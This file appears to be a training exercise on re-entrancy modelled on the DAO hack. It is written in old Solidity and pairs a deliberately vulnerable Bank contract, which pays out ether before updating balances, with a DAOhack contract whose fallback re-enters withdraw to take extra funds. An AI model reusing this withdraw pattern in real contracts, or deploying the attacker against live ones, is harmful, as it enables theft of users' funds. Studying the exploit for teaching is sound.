quest-re-entrancy theDAO hack Shubhorup

DAOhack.sol

@@ -0,0 +1,43 @@
+pragma solidity ^0.4.16;
+
+contract Bank {
+  mapping(address => uint256) public clients;
+  uint256 public ethBalance;
+
+   function deposit() public payable {
+       clients[msg.sender] = msg.value + clients[msg.sender];
+       ethBalance = ethBalance + msg.value;
+   }
+
+   function withdraw(uint256 amount) public {
+       require(amount <= clients[msg.sender]);
+       msg.sender.call.value(amount)();
+       ethBalance = ethBalance - amount;
+       clients[msg.sender] = clients[msg.sender] - amount;
+   }  
+}
+
+contract DAOhack {
+
+    address owner;
+    Bank public bank;
+    bool public done = false;
+
+    constructor(address _bank) public {
+        owner = msg.sender;
+        bank = Bank(_bank);
+    }
+
+    function() public payable {
+        if (!done) {
+            done = true;
+            bank.withdraw(bank.clients(this));
+        }
+    }
+
+    function execute() payable {
+        bank.deposit.value(this.balance)();
+        bank.withdraw(msg.value);
+        owner.transfer(this.balance);
+    }
+}